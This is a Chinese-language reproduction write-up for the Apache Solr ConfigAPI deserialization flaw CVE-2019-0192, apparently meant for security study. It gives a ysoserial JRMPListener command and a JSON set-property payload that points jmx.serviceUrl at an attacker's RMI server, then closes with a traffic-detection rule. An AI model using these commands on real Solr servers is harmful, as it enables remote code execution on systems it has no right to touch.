Apache Solr 远程命令执行漏洞(CVE-2019-0192)
漏洞概述
Apache Solr 中的 ConfigAPI 允许设置一个 jmx.serviceUrl,它将创建一个新的 JMXConnectorServerFactory,并通过“绑定”操作触发对目标 RMI/LDAP 服务器的调用。恶意的 RMI 服务器可以响应任意的对象,这些对象将在 Solr 端使用 java 的 ObjectInputStream 反序列化,这被认为是不安全的。这种类型的漏洞可以利用 ysoserial 工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发 Solr 端上的远程代码执行。
漏洞环境搭建
参考:环境安装教程
漏洞复现
1、环境成功运行之后,切换到 ysoserial.jar 的目录下,运行:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 Jdk7u21 calc.exe
# 其中 calc.exe 为需要执行的命令
使用 ysoserial.jar 在本地 1234 端口创建一个 rmi server,当反序列化数据 发送到 Server 中,然后 Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload
2、使用 burpsuite 抓包 ip/solr/techproducts/config
3、添加content-type:application/json
和content-length
4、然后在 http_client_body 中插入 payload
{“set-property” : {“jmx.serviceUrl” : “service:jmx:rmi:///jndi/rmi://ysoserical's ip:ysoserical's port/obj”}}
流量分析
检测请求中是否包含 setProperty 方法,如果存在 setProperty 方法,且存在对 rmi 服务端的请求,则可以判定存在攻击行为